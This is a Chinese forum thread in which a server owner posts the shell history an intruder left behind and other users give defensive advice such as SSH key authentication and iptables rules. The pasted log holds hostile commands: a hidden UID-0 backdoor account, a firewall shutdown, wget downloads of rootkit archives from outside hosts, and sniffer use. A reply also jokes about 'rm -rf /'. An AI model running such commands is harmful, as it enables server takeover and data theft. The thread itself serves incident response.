今天服务器被黑客给黑了！

qsxing

这是他到机器上运行的命令：
455  useradd -g0 -u0 -o -d /dev/.null bulake
  456  /usr/sbin/useradd -g0 -u0 -o -d /dev/.null bulake
  457  passwd bulake
  458  cd /etc/init.d
  459  ls
  460  ./iptables
  461  ./iptables stop
  462  wget www.lamersteam.co.uk/hackz/sk.tgz
  463  tar zxvf sk.tgz
  464  rm -rf sk.tgz
  465  ./inst
  466  ps x
  467  ls
  468  cd /var/spool./cron/.sk
  469  ls
  470  ls -sa
  471  cat .sniffer
  472  wget www.hostcenter.us/linuxkit.tar
  473  tar xvf linuxkit.tar
  474  rm -rf linuxkit.tar
  475  cd shv5/
  476  ./setup 211020 1
  477  elnet localhost 22
  478  telnet localhost 1
  479  cd ..
  480  ls -sa
  481  .sniffer
  482  cat .sniffer
  483  cat .sniffer
  484  cat .sniffer
  485  rm -rf .sniffer
  486  exit
  487  su
  488  exit
  489  ls
  490  cd asb
  491  ./a
  492  ./scan
  493  ls
  494  w
  495  cd /var/spool./cron/.sk
  496  ls -sa
  497  cat .sniffer
  498  exit
  499  su
  500  exit

把我的root密码都改了。这个服务器是个应用服务器。我都不晓得我的这个地址是被他怎么知道的。

liu.freedom.zhe

他的目的好像是练习或者找有价值的信息，对你造成的损失不大。连history的记录都不知道清除，水平也不是很高，看看其他的log有没有更多的有用的信息（用什么方法进入的）。
注意补防漏洞，封他IP。

hongfengyue

兄弟服务器上跑的是什么服务？
最好查出是如何侵入的。好做好防备。

lijietz

我只开ssh..不开telnet..
而且限定ssh登陆的时间,ip地址..

近期准备再看看iptables...
不知道还有啥安全可以设置..

hongfengyue

原帖由 "lijietz" 发表：
我只开ssh..不开telnet..
而且限定ssh登陆的时间,ip地址..

近期准备再看看iptables...
不知道还有啥安全可以设置..

如果兄弟只开启SSH的话，可是使用ssh的key验证。不要使用passwd的验证方式。这样没有key的就不会出现输入passwd的对话框。也就不能猜测passwd了。
另外再接合iptables控制运行联接的IP地址就好了。

lijietz

原帖由 "hongfengyue" 发表：


如果兄弟只开启SSH的话，可是使用ssh的key验证。不要使用passwd的验证方式。这样没有key的就不会出现输入passwd的对话框。也就不能猜测passwd了。
另外再接合iptables控制运行联接的IP地址就好了。

      
谢谢.
         
是oracle ERP系统,对安全要求很高....没专门的linux sa..
而我的linux水平又很一般...

诶..有点怕怕啊..

hongfengyue

原帖由 "lijietz" 发表：

      
谢谢.
         
是oracle ERP系统,对安全要求很高....没专门的linux sa..
而我的linux水平又很一般...

诶..有点怕怕啊..

你们要求高，而又没有专职的SA。有点怪怪的，象在打赌一样。   

qsxing

我上面就跑了一个jboss服务器。还有一个oracle数据库服务器。我们服务器是放到DMZ区的。外网防火墙用的是天容行的防火墙。它是怎么进来的啊。不晓得。不过怕下次进来又搞破坏。不晓得怎么搞。

lijietz

[quote]原帖由 "qsxing"]我上面就跑了一个jboss服务器。还有一个oracle数据库服务器。我们服务器是放到DMZ区的。外网防火墙用的是天容行的防火墙。它是怎么进来的啊。不晓得。不过怕下次进来又搞破坏。不晓得怎么搞。[/quote 发表：


给你来个   rm   -rf    /    咋办?

我爱钓鱼

DMZ啊．．．．还是应该配置一下安全的．